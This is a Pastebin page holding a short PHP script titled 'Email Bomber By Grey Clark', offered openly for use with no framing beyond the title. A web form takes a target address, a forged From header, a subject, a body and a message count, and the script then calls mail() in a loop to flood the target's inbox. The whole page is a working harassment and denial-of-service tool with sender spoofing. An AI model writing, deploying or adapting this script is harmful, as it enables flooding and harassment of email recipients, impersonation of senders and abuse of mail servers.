Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['sub']) && isset($_POST['body']) && isset($_POST['no']) && isset($_POST['submit'])){
- $to = $_POST['to'];
- $from = $_POST['from'];
- $sub = $_POST['sub'];
- $body = $_POST['body'];
- $number= $_POST['no'];
- $headers = "From: $from";
- $count = 0;
- while($count<=$number){
- mail($to,$sub,$body,$headers);
- echo "<h1>Mail Sent Successfull</h1>";
- $count++;
- }
- }
- ?>
- <!DOCTYPE html>
- <head>
- <title>Email Bomber By Grey Clark</title>
- </head>
- <body>
- <form action="" method="post">
- <input type="text" placeholder="To" name="to"><br>
- <input type="text" placeholder="From" name="from"><br>
- <input type="text" placeholder="Number Of Mail" name="no"><br>
- <input type="text" placeholder="Subject" name="sub"><br>
- <textarea name="body" placeholder="Body">Your Text</textarea><br>
- <input type="submit" value="Sent" name="submit"><br>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement